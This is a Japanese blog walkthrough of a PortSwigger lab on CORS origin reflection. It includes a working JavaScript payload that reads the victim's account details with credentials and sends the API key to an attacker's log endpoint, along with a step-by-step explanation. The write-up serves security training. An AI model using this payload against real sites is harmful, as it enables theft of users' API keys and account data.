CORS vulnerability with basic origin reflection をやってみた

 

Portswigger社のWebSecurityAcademyのLabをやってみたので。

今回は、CORS vulnerability with basic origin reflection を。

 

お題としては、、、

この Web サイトは、 安全でないCORS すべてのオリジンを信頼するという点で 構成を採用しています。

ラボを解決するには、CORS を使用して管理者の API キーを取得し、そのコードをエクスプロイト サーバーにアップロードする JavaScript を作成します。 管理者の API キーを正常に送信すると、ラボは解決されます。

 

ということのようで。

 

まずはクレデンシャルがwiener:peter と与えられているので、ログインをし。

 

ログインができて。

するとAPI Key が表示されていて。

 

 

/accountDetail というエンドポイントを見ると、apikeyが見れて。

さらにレスポンスをみると、Access-Control-Allow-Credentials とあり。

リクエストを編集して、Origin:https://example.com を挿入し。

 

 

挿入され、脆弱性があることが確認でき。

エクスプロイトサーバーにいき、以下のコードをbodyに。

 

<script>

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send(); function reqListener() { location='/log?key='+this.responseText; };

</script>

 

このコードは、、、

 

  1. XMLHttpRequestオブジェクトを作成し。

    • var req = new XMLHttpRequest();
    • これはブラウザがサーバーと非同期通信を行うためのオブジェクトです。
  2. リクエストが完了したときの処理を定義します。

    • req.onload = reqListener;
    • リクエストが成功的に完了したときにreqListener関数が呼び出されます。
  3. リクエストを開始します。

    • req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    • このリクエストは'YOUR-LAB-ID.web-security-academy.net/accountDetails'にGETリクエストを非同期で行うもので。
  4. リクエストに資格情報を含めるように指定します。

    • req.withCredentials = true;
    • これにより、リクエストにクッキーなどの資格情報が含まれ。
      これは、CORS(Cross-Origin Resource Sharing)で資格情報を必要とするリクエストの場合に特に重要です。
  5. リクエストを送信します。

    • req.send();
  6. レスポンスが帰ってきたときの処理を定義します。

    • function reqListener() { location='/log?key='+this.responseText; };
    • この関数は、サーバーからのレスポンステキストを取得し、'/log'というURLにそのテキストをkeyパラメータとして追加して、ブラウザをそのURLにリダイレクトします。

こんなかんじで。

 

Access Log をみると、

 

 

{} で囲まれた箇所をデコードし、

 

 

apikey をsubmitし、

 

 

解決でき。

 

 

ほなほな。